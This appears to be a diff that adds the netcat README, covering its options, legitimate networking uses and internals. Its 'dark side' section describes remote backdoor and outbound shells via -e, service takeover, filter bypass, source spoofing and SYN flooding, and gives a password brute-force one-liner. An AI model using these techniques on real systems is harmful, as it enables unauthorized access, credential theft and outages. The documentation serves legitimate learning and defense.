+A port argument is required for outbound connections, and can be numeric or a
+name as listed in /etc/services. If -n is specified, only numeric arguments
+are valid. Special syntax and/or more than one port argument cause different
+behavior -- see details below about port-scanning.
+
+The -v switch controls the verbosity level of messages sent to standard error.
+You will probably want to run netcat most of the time with -v turned on, so you
+can see info about the connections it is trying to make. You will probably
+also want to give a smallish -w argument, which limits the time spent trying to
+make a connection. I usually alias "nc" to "nc -v -w 3", which makes it
+function just about the same for things I would otherwise use telnet to do.
+The timeout is easily changed by a subsequent -w argument which overrides the
+earlier one. Specifying -v more than once makes diagnostic output MORE
+verbose. If -v is not specified at all, netcat silently does its work unless
+some error happens, whereupon it describes the error and exits with a nonzero
+status. Refused network connections are generally NOT considered to be errors,
+unless you only asked for a single TCP port and it was refused.
+
+Note that -w also sets the network inactivity timeout. This does not have any
+effect until standard input closes, but then if nothing further arrives from
+the network in the next <timeout> seconds, netcat tries to read the net once
+more for good measure, and then closes and exits. There are a lot of network
+services now that accept a small amount of input and return a large amount of
+output, such as Gopher and Web servers, which is the main reason netcat was
+written to "block" on the network staying open rather than standard input.
+Handling the timeout this way gives uniform behavior with network servers that
+*don't* close by themselves until told to.
+
+UDP connections are opened instead of TCP when -u is specified. These aren't
+really "connections" per se since UDP is a connectionless protocol, although
+netcat does internally use the "connected UDP socket" mechanism that most
+kernels support. Although netcat claims that an outgoing UDP connection is
+"open" immediately, no data is sent until something is read from standard
+input. Only thereafter is it possible to determine whether there really is a
+UDP server on the other end, and often you just can't tell. Most UDP protocols
+use timeouts and retries to do their thing and in many cases won't bother
+answering at all, so you should specify a timeout and hope for the best. You
+will get more out of UDP connections if standard input is fed from a source
+of data that looks like various kinds of server requests.
+
+To obtain a hex dump file of the data sent either way, use "-o logfile". The
+dump lines begin with "<" or ">" to respectively indicate "from the net" or
+"to the net", and contain the total count per direction, and hex and ascii
+representations of the traffic. Capturing a hex dump naturally slows netcat
+down a bit, so don't use it where speed is critical.
+
+Netcat can bind to any local port, subject to privilege restrictions and ports
+that are already in use. It is also possible to use a specific local network
+source address if it is that of a network interface on your machine. [Note:
+this does not work correctly on all platforms.] Use "-p portarg" to grab a
+specific local port, and "-s ip-addr" or "-s name" to have that be your source
+IP address. This is often referred to as "anchoring the socket". Root users
+can grab any unused source port including the "reserved" ones less than 1024.
+Absence of -p will bind to whatever unused port the system gives you, just like
+any other normal client connection, unless you use -r [see below].
+
+Listen mode will cause netcat to wait for an inbound connection, and then the
+same data transfer happens. Thus, you can do "nc -l -p 1234 < filename" and
+when someone else connects to your port 1234, the file is sent to them whether
+they wanted it or not. Listen mode is generally used along with a local port
+argument -- this is required for UDP mode, while TCP mode can have the system
+assign one and tell you what it is if -v is turned on. If you specify a target
+host and optional port in listen mode, netcat will accept an inbound connection
+only from that host and if you specify one, only from that foreign source port.
+In verbose mode you'll be informed about the inbound connection, including what
+address and port it came from, and since listening on "any" applies to several
+possibilities, which address it came *to* on your end. If the system supports
+IP socket options, netcat will attempt to retrieve any such options from an
+inbound connection and print them out in hex.
+
+If netcat is compiled with -DGAPING_SECURITY_HOLE, the -e argument specifies
+a program to exec after making or receiving a successful connection. In the
+listening mode, this works similarly to "inetd" but only for a single instance.
+Use with GREAT CARE. This piece of the code is normally not enabled; if you
+know what you're doing, have fun. This hack also works in UDP mode. Note that
+you can only supply -e with the name of the program, but no arguments. If you
+want to launch something with an argument list, write a two-line wrapper script
+or just use inetd like always.
+
+If netcat is compiled with -DTELNET, the -t argument enables it to respond
+to telnet option negotiation [always in the negative, i.e. DONT or WONT].
+This allows it to connect to a telnetd and get past the initial negotiation
+far enough to get a login prompt from the server. Since this feature has
+the potential to modify the data stream, it is not enabled by default. You
+have to understand why you might need this and turn on the #define yourself.
+
+Data from the network connection is always delivered to standard output as
+efficiently as possible, using large 8K reads and writes. Standard input is
+normally sent to the net the same way, but the -i switch specifies an "interval
+time" which slows this down considerably. Standard input is still read in
+large batches, but netcat then tries to find where line breaks exist and sends
+one line every interval time. Note that if standard input is a terminal, data
+is already read line by line, so unless you make the -i interval rather long,
+what you type will go out at a fairly normal rate. -i is really designed
+for use when you want to "measure out" what is read from files or pipes.
+
+Port-scanning is a popular method for exploring what's out there. Netcat
+accepts its commands with options first, then the target host, and everything
+thereafter is interpreted as port names or numbers, or ranges of ports in M-N
+syntax. CAVEAT: some port names in /etc/services contain hyphens -- netcat
+currently will not correctly parse those, so specify ranges using numbers if
+you can. If more than one port is thus specified, netcat connects to *all* of
+them, sending the same batch of data from standard input [up to 8K worth] to
+each one that is successfully connected to. Specifying multiple ports also
+suppresses diagnostic messages about refused connections, unless -v is
+specified twice for "more verbosity". This way you normally get notified only
+about genuinely open connections. Example: "nc -v -w 2 -z target 20-30" will
+try connecting to every port between 20 and 30 [inclusive] at the target, and
+will likely inform you about an FTP server, telnet server, and mailer along the
+way. The -z switch prevents sending any data to a TCP connection and very
+limited probe data to a UDP connection, and is thus useful as a fast scanning
+mode just to see what ports the target is listening on. To limit scanning
+speed if desired, -i will insert a delay between each port probe. There are
+some pitfalls with regard to UDP scanning, described later, but in general it
+works well.
+
+For each range of ports specified, scanning is normally done downward within
+that range. If the -r switch is used, scanning hops randomly around within
+that range and reports open ports as it finds them. [If you want them listed
+in order regardless, pipe standard error through "sort"...] In addition, if
+random mode is in effect, the local source ports are also randomized. This
+prevents netcat from exhibiting any kind of regular pattern in its scanning.
+You can exert fairly fine control over your scan by judicious use of -r and
+selected port ranges to cover. If you use -r for a single connection, the
+source port will have a random value above 8192, rather than the next one the
+kernel would have assigned you. Note that selecting a specific local port
+with -p overrides any local-port randomization.
+
+Many people are interested in testing network connectivity using IP source
+routing, even if it's only to make sure their own firewalls are blocking
+source-routed packets. On systems that support it, the -g switch can be used
+multiple times [up to 8] to construct a loose-source-routed path for your
+connection, and the -G argument positions the "hop pointer" within the list.
+If your network allows source-routed traffic in and out, you can test
+connectivity to your own services via remote points in the internet. Note that
+although newer BSD-flavor telnets also have source-routing capability, it isn't
+clearly documented and the command syntax is somewhat clumsy. Netcat's
+handling of "-g" is modeled after "traceroute".
+
+Netcat tries its best to behave just like "cat". It currently does nothing to
+terminal input modes, and does no end-of-line conversion. Standard input from
+a terminal is read line by line with normal editing characters in effect. You
+can freely suspend out of an interactive connection and resume. ^C or whatever
+your interrupt character is will make netcat close the network connection and
+exit. A switch to place the terminal in raw mode has been considered, but so
+far has not been necessary. You can send raw binary data by reading it out of
+a file or piping from another program, so more meaningful effort would be spent
+writing an appropriate front-end driver.
+
+Netcat is not an "arbitrary packet generator", but the ability to talk to raw
+sockets and/or nit/bpf/dlpi may appear at some point. Such things are clearly
+useful; I refer you to Darren Reed's excellent ip_filter package, which now
+includes a tool to construct and send raw packets with any contents you want.
+
+Example uses -- the light side
+==============================
+
+Again, this is a very partial list of possibilities, but it may get you to
+think up more applications for netcat. Driving netcat with simple shell or
+expect scripts is an easy and flexible way to do fairly complex tasks,
+especially if you're not into coding network tools in C. My coding isn't
+particularly strong either [although undoubtedly better after writing this
+thing!], so I tend to construct bare-metal tools like this that I can trivially
+plug into other applications. Netcat doubles as a teaching tool -- one can
+learn a great deal about more complex network protocols by trying to simulate
+them through raw connections!
+
+An example of netcat as a backend for something else is the shell-script
+Web browser, which simply asks for the relevant parts of a URL and pipes
+"GET /what/ever" into a netcat connection to the server. I used to do this
+with telnet, and had to use calculated sleep times and other stupidity to
+kludge around telnet's limitations. Netcat guarantees that I get the whole
+page, and since it transfers all the data unmodified, I can even pull down
+binary image files and display them elsewhere later. Some folks may find the
+idea of a shell-script web browser silly and strange, but it starts up and
+gets me my info a hell of a lot faster than a GUI browser and doesn't hide
+any contents of links and forms and such. This is included, as scripts/web,
+along with several other web-related examples.
+
+Netcat is an obvious replacement for telnet as a tool for talking to daemons.
+For example, it is easier to type "nc host 25", talk to someone's mailer, and
+just ^C out than having to type ^]c or QUIT as telnet would require you to do.
+You can quickly catalog the services on your network by telling netcat to
+connect to well-known services and collect greetings, or at least scan for open
+ports. You'll probably want to collect netcat's diagnostic messages in your
+output files, so be sure to include standard error in the output using
+`>& file' in *csh or `> file 2>&1' in bourne shell.
+
+A scanning example: "echo QUIT | nc -v -w 5 target 20-250 500-600 5990-7000"
+will inform you about a target's various well-known TCP servers, including
+r-services, X, IRC, and maybe a few you didn't expect. Sending in QUIT and
+using the timeout will almost guarantee that you see some kind of greeting or
+error from each service, which usually indicates what it is and what version.
+[Beware of the "chargen" port, though...] SATAN uses exactly this technique to
+collect host information, and indeed some of the ideas herein were taken from
+the SATAN backend tools. If you script this up to try every host in your
+subnet space and just let it run, you will not only see all the services,
+you'll find out about hosts that aren't correctly listed in your DNS. Then you
+can compare new snapshots against old snapshots to see changes. For going
+after particular services, a more intrusive example is in scripts/probe.
+
+Netcat can be used as a simple data transfer agent, and it doesn't really
+matter which end is the listener and which end is the client -- input at one
+side arrives at the other side as output. It is helpful to start the listener
+at the receiving side with no timeout specified, and then give the sending side
+a small timeout. That way the listener stays listening until you contact it,
+and after data stops flowing the client will time out, shut down, and take the
+listener with it. Unless the intervening network is fraught with problems,
+this should be completely reliable, and you can always increase the timeout. A
+typical example of something "rsh" is often used for: on one side,
+
+ nc -l -p 1234 | uncompress -c | tar xvfp -
+
+and then on the other side
+
+ tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234
+
+will transfer the contents of a directory from one machine to another, without
+having to worry about .rhosts files, user accounts, or inetd configurations
+at either end. Again, it matters not which is the listener or receiver; the
+"tarring" machine could just as easily be running the listener instead. One
+could conceivably use a scheme like this for backups, by having cron-jobs fire
+up listeners and backup handlers [which can be restricted to specific addresses
+and ports between each other] and pipe "dump" or "tar" on one machine to "dd
+of=/dev/tapedrive" on another as usual. Since netcat returns a nonzero exit
+status for a denied listener connection, scripts to handle such tasks could
+easily log and reject connect attempts from third parties, and then retry.
+
+Another simple data-transfer example: shipping things to a PC that doesn't have
+any network applications yet except a TCP stack and a web browser. Point the
+browser at an arbitrary port on a Unix server by telling it to download
+something like http://unixbox:4444/foo, and have a listener on the Unix side
+ready to ship out a file when the connect comes in. The browser may pervert
+binary data when told to save the URL, but you can dig the raw data out of
+the on-disk cache.
+
+If you build netcat with GAPING_SECURITY_HOLE defined, you can use it as an
+"inetd" substitute to test experimental network servers that would otherwise
+run under "inetd". A script or program will have its input and output hooked
+to the network the same way, perhaps sans some fancier signal handling. Given
+that most network services do not bind to a particular local address, whether
+they are under "inetd" or not, it is possible for netcat avoid the "address
+already in use" error by binding to a specific address. This lets you [as
+root, for low ports] place netcat "in the way" of a standard service, since
+inbound connections are generally sent to such specifically-bound listeners
+first and fall back to the ones bound to "any". This allows for a one-off
+experimental simulation of some service, without having to screw around with
+inetd.conf. Running with -v turned on and collecting a connection log from
+standard error is recommended.
+
+Netcat as well can make an outbound connection and then run a program or script
+on the originating end, with input and output connected to the same network
+port. This "inverse inetd" capability could enhance the backup-server concept
+described above or help facilitate things such as a "network dialback" concept.
+The possibilities are many and varied here; if such things are intended as
+security mechanisms, it may be best to modify netcat specifically for the
+purpose instead of wrapping such functions in scripts.
+
+Speaking of inetd, netcat will function perfectly well *under* inetd as a TCP
+connection redirector for inbound services, like a "plug-gw" without the
+authentication step. This is very useful for doing stuff like redirecting
+traffic through your firewall out to other places like web servers and mail
+hubs, while posing no risk to the firewall machine itself. Put netcat behind
+inetd and tcp_wrappers, perhaps thusly:
+
+ www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 realwww 80
+
+and you have a simple and effective "application relay" with access control
+and logging. Note use of the wait time as a "safety" in case realwww isn't
+reachable or the calling user aborts the connection -- otherwise the relay may
+hang there forever.
+
+You can use netcat to generate huge amounts of useless network data for
+various performance testing. For example, doing
+
+ yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null
+
+on one side and then hitting it with
+
+ yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null
+
+from another host will saturate your wires with A's and B's. The "very
+verbose" switch usage will tell you how many of each were sent and received
+after you interrupt either side. Using UDP mode produces tremendously MORE
+trash per unit time in the form of fragmented 8 Kbyte mobygrams -- enough to
+stress-test kernels and network interfaces. Firing random binary data into
+various network servers may help expose bugs in their input handling, which
+nowadays is a popular thing to explore. A simple example data-generator is
+given in data/data.c included in this package, along with a small collection
+of canned input files to generate various packet contents. This program is
+documented in its beginning comments, but of interest here is using "%r" to
+generate random bytes at well-chosen points in a data stream. If you can
+crash your daemon, you likely have a security problem.
+
+The hex dump feature may be useful for debugging odd network protocols,
+especially if you don't have any network monitoring equipment handy or aren't
+root where you'd need to run "tcpdump" or something. Bind a listening netcat
+to a local port, and have it run a script which in turn runs another netcat
+to the real service and captures the hex dump to a log file. This sets up a
+transparent relay between your local port and wherever the real service is.
+Be sure that the script-run netcat does *not* use -v, or the extra info it
+sends to standard error may confuse the protocol. Note also that you cannot
+have the "listen/exec" netcat do the data capture, since once the connection
+arrives it is no longer netcat that is running.
+
+Binding to an arbitrary local port allows you to simulate things like r-service
+clients, if you are root locally. For example, feeding "^@root^@joe^@pwd^@"
+[where ^@ is a null, and root/joe could be any other local/remote username
+pair] into a "rsh" or "rlogin" server, FROM your port 1023 for example,
+duplicates what the server expects to receive. Thus, you can test for insecure
+.rhosts files around your network without having to create new user accounts on
+your client machine. The program data/rservice.c can aid this process by
+constructing the "rcmd" protocol bytes. Doing this also prevents "rshd" from
+trying to create that separate standard-error socket and still gives you an
+input path, as opposed to the usual action of "rsh -n". Using netcat for
+things like this can be really useful sometimes, because rsh and rlogin
+generally want a host *name* as an argument and won't accept IP addresses. If
+your client-end DNS is hosed, as may be true when you're trying to extract
+backup sets on to a dumb client, "netcat -n" wins where normal rsh/rlogin is
+useless.
+
+If you are unsure that a remote syslogger is working, test it with netcat.
+Make a UDP connection to port 514 and type in "<0>message", which should
+correspond to "kern.emerg" and cause syslogd to scream into every file it has
+open [and possibly all over users' terminals]. You can tame this down by
+using a different number and use netcat inside routine scripts to send syslog
+messages to places that aren't configured in syslog.conf. For example,
+"echo '<38>message' | nc -w 1 -u loggerhost 514" should send to auth.notice
+on loggerhost. The exact number may vary; check against your syslog.h first.
+
+Netcat provides several ways for you to test your own packet filters. If you
+bind to a port normally protected against outside access and make a connection
+to somewhere outside your own network, the return traffic will be coming to
+your chosen port from the "outside" and should be blocked. TCP may get through
+if your filter passes all "ack syn", but it shouldn't be even doing that to low
+ports on your network. Remember to test with UDP traffic as well! If your
+filter passes at least outbound source-routed IP packets, bouncing a connection
+back to yourself via some gateway outside your network will create "incoming"
+traffic with your source address, which should get dropped by a correctly
+configured anti-spoofing filter. This is a "non-test" if you're also dropping
+source-routing, but it's good to be able to test for that too. Any packet
+filter worth its salt will be blocking source-routed packets in both
+directions, but you never know what interesting quirks you might turn up by
+playing around with source ports and addresses and watching the wires with a
+network monitor.
+
+You can use netcat to protect your own workstation's X server against outside
+access. X is stupid enough to listen for connections on "any" and never tell
+you when new connections arrive, which is one reason it is so vulnerable. Once
+you have all your various X windows up and running you can use netcat to bind
+just to your ethernet address and listen to port 6000. Any new connections
+from outside the machine will hit netcat instead your X server, and you get a
+log of who's trying. You can either tell netcat to drop the connection, or
+perhaps run another copy of itself to relay to your actual X server on
+"localhost". This may not work for dedicated X terminals, but it may be
+possible to authorize your X terminal only for its boot server, and run a relay
+netcat over on the server that will in turn talk to your X terminal. Since
+netcat only handles one listening connection per run, make sure that whatever
+way you rig it causes another one to run and listen on 6000 soon afterward, or
+your real X server will be reachable once again. A very minimal script just
+to protect yourself could be
+
+ while true ; do
+ nc -v -l -s <your-addr> -p 6000 localhost 2
+ done
+
+which causes netcat to accept and then close any inbound connection to your
+workstation's normal ethernet address, and another copy is immediately run by
+the script. Send standard error to a file for a log of connection attempts.
+If your system can't do the "specific bind" thing all is not lost; run your
+X server on display ":1" or port 6001, and netcat can still function as a probe
+alarm by listening on 6000.
+
+Does your shell-account provider allow personal Web pages, but not CGI scripts?
+You can have netcat listen on a particular port to execute a program or script
+of your choosing, and then just point to the port with a URL in your homepage.
+The listener could even exist on a completely different machine, avoiding the
+potential ire of the homepage-host administrators. Since the script will get
+the raw browser query as input it won't look like a typical CGI script, and
+since it's running under your UID you need to write it carefully. You may want
+to write a netcat-based script as a wrapper that reads a query and sets up
+environment variables for a regular CGI script. The possibilities for using
+netcat and scripts to handle Web stuff are almost endless. Again, see the
+examples under scripts/.
+
+Example uses -- the dark side
+=============================
+
+Equal time is deserved here, since a versatile tool like this can be useful
+to any Shade of Hat. I could use my Victorinox to either fix your car or
+disassemble it, right? You can clearly use something like netcat to attack
+or defend -- I don't try to govern anyone's social outlook, I just build tools.
+Regardless of your intentions, you should still be aware of these threats to
+your own systems.
+
+The first obvious thing is scanning someone *else's* network for vulnerable
+services. Files containing preconstructed data, be it exploratory or
+exploitive, can be fed in as standard input, including command-line arguments
+to netcat itself to keep "ps" ignorant of your doings. The more random the
+scanning, the less likelihood of detection by humans, scan-detectors, or
+dynamic filtering, and with -i you'll wait longer but avoid loading down the
+target's network. Some examples for crafting various standard UDP probes are
+given in data/*.d.
+
+Some configurations of packet filters attempt to solve the FTP-data problem by
+just allowing such connections from the outside. These come FROM port 20, TO
+high TCP ports inside -- if you locally bind to port 20, you may find yourself
+able to bypass filtering in some cases. Maybe not to low ports "inside", but
+perhaps to TCP NFS servers, X servers, Prospero, ciscos that listen on 200x
+and 400x... Similar bypassing may be possible for UDP [and maybe TCP too] if a
+connection comes from port 53; a filter may assume it's a nameserver response.
+
+Using -e in conjunction with binding to a specific address can enable "server
+takeover" by getting in ahead of the real ones, whereupon you can snarf data
+sent in and feed your own back out. At the very least you can log a hex dump
+of someone else's session. If you are root, you can certainly use -s and -e to
+run various hacked daemons without having to touch inetd.conf or the real
+daemons themselves. You may not always have the root access to deal with low
+ports, but what if you are on a machine that also happens to be an NFS server?
+You might be able to collect some interesting things from port 2049, including
+local file handles. There are several other servers that run on high ports
+that are likely candidates for takeover, including many of the RPC services on
+some platforms [yppasswdd, anyone?]. Kerberos tickets, X cookies, and IRC
+traffic also come to mind. RADIUS-based terminal servers connect incoming
+users to shell-account machines on a high port, usually 1642 or thereabouts.
+SOCKS servers run on 1080. Do "netstat -a" and get creative.
+
+There are some daemons that are well-written enough to bind separately to all
+the local interfaces, possibly with an eye toward heading off this sort of
+problem. Named from recent BIND releases, and NTP, are two that come to mind.
+Netstat will show these listening on address.53 instead of *.53. You won't
+be able to get in front of these on any of the real interface addresses, which
+of course is especially interesting in the case of named, but these servers
+sometimes forget about things like "alias" interface addresses or interfaces
+that appear later on such as dynamic PPP links. There are some hacked web
+servers and versions of "inetd" floating around that specifically bind as well,
+based on a configuration file -- these generally *are* bound to alias addresses
+to offer several different address-based services from one machine.
+
+Using -e to start a remote backdoor shell is another obvious sort of thing,
+easier than constructing a file for inetd to listen on "ingreslock" or
+something, and you can access-control it against other people by specifying a
+client host and port. Experience with this truly demonstrates how fragile the
+barrier between being "logged in" or not really is, and is further expressed by
+scripts/bsh. If you're already behind a firewall, it may be easier to make an
+*outbound* connection and then run a shell; a small wrapper script can
+periodically try connecting to a known place and port, you can later listen
+there until the inbound connection arrives, and there's your shell. Running
+a shell via UDP has several interesting features, although be aware that once
+"connected", the UDP stub sockets tend to show up in "netstat" just like TCP
+connections and may not be quite as subtle as you wanted. Packets may also be
+lost, so use TCP if you need reliable connections. But since UDP is
+connectionless, a hookup of this sort will stick around almost forever, even if
+you ^C out of netcat or do a reboot on your side, and you only need to remember
+the ports you used on both ends to reestablish. And outbound UDP-plus-exec
+connection creates the connected socket and starts the program immediately. On
+a listening UDP connection, the socket is created once a first packet is
+received. In either case, though, such a "connection" has the interesting side
+effect that only your client-side IP address and [chosen?] source port will
+thereafter be able to talk to it. Instant access control! A non-local third
+party would have to do ALL of the following to take over such a session:
+
+ forge UDP with your source address [trivial to do; see below]
+ guess the port numbers of BOTH ends, or sniff the wire for them
+ arrange to block ICMP or UDP return traffic between it and your real
+ source, so the session doesn't die with a network write error.
+
+The companion program data/rservice.c is helpful in scripting up any sort of
+r-service username or password guessing attack. The arguments to "rservice"
+are simply the strings that get null-terminated and passed over an "rcmd"-style
+connection, with the assumption that the client does not need a separate
+standard-error port. Brute-force password banging is best done via "rexec" if
+it is available since it is less likely to log failed attempts. Thus, doing
+"rservice joe joespass pwd | nc target exec" should return joe's home dir if
+the password is right, or "Permission denied." Plug in a dictionary and go to
+town. If you're attacking rsh/rlogin, remember to be root and bind to a port
+between 512 and 1023 on your end, and pipe in "rservice joe joe pwd" and such.
+
+Netcat can prevent inadvertently sending extra information over a telnet
+connection. Use "nc -t" in place of telnet, and daemons that try to ask for
+things like USER and TERM environment variables will get no useful answers, as
+they otherwise would from a more recent telnet program. Some telnetds actually
+try to collect this stuff and then plug the USER variable into "login" so that
+the caller is then just asked for a password! This mechanism could cause a
+login attempt as YOUR real username to be logged over there if you use a
+Borman-based telnet instead of "nc -t".
+
+Got an unused network interface configured in your kernel [e.g. SLIP], or
+support for alias addresses? Ifconfig one to be any address you like, and bind
+to it with -s to enable all sorts of shenanigans with bogus source addresses.
+The interface probably has to be UP before this works; some SLIP versions
+need a far-end address before this is true. Hammering on UDP services is then
+a no-brainer. What you can do to an unfiltered syslog daemon should be fairly
+obvious; trimming the conf file can help protect against it. Many routers out
+there still blindly believe what they receive via RIP and other routing
+protocols. Although most UDP echo and chargen servers check if an incoming
+packet was sent from *another* "internal" UDP server, there are many that still
+do not, any two of which [or many, for that matter] could keep each other
+entertained for hours at the expense of bandwidth. And you can always make
+someone wonder why she's being probed by nsa.gov.
+
+Your TCP spoofing possibilities are mostly limited to destinations you can
+source-route to while locally bound to your phony address. Many sites block
+source-routed packets these days for precisely this reason. If your kernel
+does oddball things when sending source-routed packets, try moving the pointer
+around with -G. You may also have to fiddle with the routing on your own
+machine before you start receiving packets back. Warning: some machines still
+send out traffic using the source address of the outbound interface, regardless
+of your binding, especially in the case of localhost. Check first. If you can
+open a connection but then get no data back from it, the target host is
+probably killing the IP options on its end [this is an option inside TCP
+wrappers and several other packages], which happens after the 3-way handshake
+is completed. If you send some data and observe the "send-q" side of "netstat"
+for that connection increasing but never getting sent, that's another symptom.
+Beware: if Sendmail 8.7.x detects a source-routed SMTP connection, it extracts
+the hop list and sticks it in the Received: header!
+
+SYN bombing [sometimes called "hosing"] can disable many TCP servers, and if
+you hit one often enough, you can keep it unreachable for days. As is true of
+many other denial-of-service attacks, there is currently no defense against it
+except maybe at the human level. Making kernel SOMAXCONN considerably larger
+than the default and the half-open timeout smaller can help, and indeed some
+people running large high-performance web servers have *had* to do that just to
+handle normal traffic. Taking out mailers and web servers is sociopathic, but
+on the other hand it is sometimes useful to be able to, say, disable a site's
+identd daemon for a few minutes. If someone realizes what is going on,
+backtracing will still be difficult since the packets have a phony source
+address, but calls to enough ISP NOCs might eventually pinpoint the source.
+It is also trivial for a clueful ISP to watch for or even block outgoing
+packets with obviously fake source addresses, but as we know many of them are
+not clueful or willing to get involved in such hassles. Besides, outbound
+packets with an [otherwise unreachable] source address in one of their net
+blocks would look fairly legitimate.
+
+Notes
+=====
+
+A discussion of various caveats, subtleties, and the design of the innards.
+
+As of version 1.07 you can construct a single file containing command arguments
+and then some data to transfer. Netcat is now smart enough to pick out the
+first line and build the argument list, and send any remaining data across the
+net to one or multiple ports. The first release of netcat had trouble with
+this -- it called fgets() for the command line argument, which behind the
+scenes does a large read() from standard input, perhaps 4096 bytes or so, and
+feeds that out to the fgets() library routine. By the time netcat 1.00 started
+directly read()ing stdin for more data, 4096 bytes of it were gone. It now
+uses raw read() everywhere and does the right thing whether reading from files,
+pipes, or ttys. If you use this for multiple-port connections, the single
+block of data will now be a maximum of 8K minus the first line. Improvements
+have been made to the logic in sending the saved chunk to each new port. Note
+that any command-line arguments hidden using this mechanism could still be
+extracted from a core dump.
+
+When netcat receives an inbound UDP connection, it creates a "connected socket"
+back to the source of the connection so that it can also send out data using
+normal write(). Using this mechanism instead of recvfrom/sendto has several
+advantages -- the read/write select loop is simplified, and ICMP errors can in
+effect be received by non-root users. However, it has the subtle side effect
+that if further UDP packets arrive from the caller but from different source
+ports, the listener will not receive them. UDP listen mode on a multihomed
+machine may have similar quirks unless you specifically bind to one of its
+addresses. It is not clear that kernel support for UDP connected sockets
+and/or my understanding of it is entirely complete here, so experiment...
+
+You should be aware of some subtleties concerning UDP scanning. If -z is on,
+netcat attempts to send a single null byte to the target port, twice, with a
+small time in between. You can either use the -w timeout, or netcat will try
+to make a "sideline" TCP connection to the target to introduce a small time
+delay equal to the round-trip time between you and the target. Note that if
+you have a -w timeout and -i timeout set, BOTH take effect and you wait twice
+as long. The TCP connection is to a normally refused port to minimize traffic,
+but if you notice a UDP fast-scan taking somewhat longer than it should, it
+could be that the target is actually listening on the TCP port. Either way,
+any ICMP port-unreachable messages from the target should have arrived in the
+meantime. The second single-byte UDP probe is then sent. Under BSD kernels,
+the ICMP error is delivered to the "connected socket" and the second write
+returns an error, which tells netcat that there is NOT a UDP service there.
+While Linux seems to be a fortunate exception, under many SYSV derived kernels
+the ICMP is not delivered, and netcat starts reporting that *all* the ports are
+"open" -- clearly wrong. [Some systems may not even *have* the "udp connected
+socket" concept, and netcat in its current form will not work for UDP at all.]
+If -z is specified and only one UDP port is probed, netcat's exit status
+reflects whether the connection was "open" or "refused" as with TCP.
+
+It may also be that UDP packets are being blocked by filters with no ICMP error
+returns, in which case everything will time out and return "open". This all
+sounds backwards, but that's how UDP works. If you're not sure, try "echo
+w00gumz | nc -u -w 2 target 7" to see if you can reach its UDP echo port at
+all. You should have no trouble using a BSD-flavor system to scan for UDP
+around your own network, although flooding a target with the high activity that
+-z generates will cause it to occasionally drop packets and indicate false
+"opens". A more "correct" way to do this is collect and analyze the ICMP
+errors, as does SATAN's "udp_scan" backend, but then again there's no guarantee
+that the ICMP gets back to you either. Udp_scan also does the zero-byte
+probes but is excruciatingly careful to calculate its own round-trip timing
+average and dynamically set its own response timeouts along with decoding any
+ICMP received. Netcat uses a much sleazier method which is nonetheless quite
+effective. Cisco routers are known to have a "dead time" in between ICMP
+responses about unreachable UDP ports, so a fast scan of a cisco will show
+almost everything "open". If you are looking for a specific UDP service, you
+can construct a file containing the right bytes to trigger a response from the
+other end and send that as standard input. Netcat will read up to 8K of the
+file and send the same data to every UDP port given. Note that you must use a
+timeout in this case [as would any other UDP client application] since the
+two-write probe only happens if -z is specified.
+
+Many telnet servers insist on a specific set of option negotiations before
+presenting a login banner. On a raw connection you will see this as small
+amount of binary gook. My attempts to create fixed input bytes to make a
+telnetd happy worked some places but failed against newer BSD-flavor ones,
+possibly due to timing problems, but there are a couple of much better
+workarounds. First, compile with -DTELNET and use -t if you just want to get
+past the option negotiation and talk to something on a telnet port. You will
+still see the binary gook -- in fact you'll see a lot more of it as the options
+are responded to behind the scenes. The telnet responder does NOT update the
+total byte count, or show up in the hex dump -- it just responds negatively to
+any options read from the incoming data stream. If you want to use a normal
+full-blown telnet to get to something but also want some of netcat's features
+involved like settable ports or timeouts, construct a tiny "foo" script:
+
+ #! /bin/sh
+ exec nc -otheroptions targethost 23
+
+and then do
+
+ nc -l -p someport -e foo localhost &
+ telnet localhost someport
+
+and your telnet should connect transparently through the exec'ed netcat to
+the target, using whatever options you supplied in the "foo" script. Don't
+use -t inside the script, or you'll wind up sending *two* option responses.
+
+I've observed inconsistent behavior under some Linuxes [perhaps just older
+ones?] when binding in listen mode. Sometimes netcat binds only to "localhost"
+if invoked with no address or port arguments, and sometimes it is unable to
+bind to a specific address for listening if something else is already listening
+on "any". The former problem can be worked around by specifying "-s 0.0.0.0",
+which will do the right thing despite netcat claiming that it's listening on
+[127.0.0.1]. This is a known problem -- for example, there's a mention of it
+in the makefile for SOCKS. On the flip side, binding to localhost and sending
+packets to some other machine doesn't work as you'd expect -- they go out with
+the source address of the sending interface instead. The Linux kernel contains
+a specific check to ensure that packets from 127.0.0.1 are never sent to the
+wire; other kernels may contain similar code. Linux, of course, *still*
+doesn't support source-routing, but they claim that it and many other network
+improvements are at least breathing hard.
+
+There are several possible errors associated with making TCP connections, but
+to specifically see anything other than "refused", one must wait the full
+kernel-defined timeout for a connection to fail. Netcat's mechanism of
+wrapping an alarm timer around the connect prevents the *real* network error
+from being returned -- "errno" at that point indicates "interrupted system
+call" since the connect attempt was interrupted. Some old 4.3 BSD kernels
+would actually return things like "host unreachable" immediately if that was
+the case, but most newer kernels seem to wait the full timeout and *then* pass
+back the real error. Go figure. In this case, I'd argue that the old way was
+better, despite those same kernels generally being the ones that tear down
+*established* TCP connections when ICMP-bombed.
+
+Incoming socket options are passed to applications by the kernel in the
+kernel's own internal format. The socket-options structure for source-routing
+contains the "first-hop" IP address first, followed by the rest of the real
+options list. The kernel uses this as is when sending reply packets -- the
+structure is therefore designed to be more useful to the kernel than to humans,
+but the hex dump of it that netcat produces is still useful to have.
+
+Kernels treat source-routing options somewhat oddly, but it sort of makes sense
+once one understands what's going on internally. The options list of addresses
+must contain hop1, hop2, ..., destination. When a source-routed packet is sent
+by the kernel [at least BSD], the actual destination address becomes irrelevant
+because it is replaced with "hop1", "hop1" is removed from the options list,
+and all the other addresses in the list are shifted up to fill the hole. Thus
+the outbound packet is sent from your chosen source address to the first
+*gateway*, and the options list now contains hop2, ..., destination. During
+all this address shuffling, the kernel does NOT change the pointer value, which
+is why it is useful to be able to set the pointer yourself -- you can construct
+some really bizarre return paths, and send your traffic fairly directly to the
+target but around some larger loop on the way back. Some Sun kernels seem to
+never flip the source-route around if it contains less than three hops, never
+reset the pointer anyway, and tries to send the packet [with options containing
+a "completed" source route!!] directly back to the source. This is way broken,
+of course. [Maybe ipforwarding has to be on? I haven't had an opportunity to
+beat on it thoroughly yet.]
+
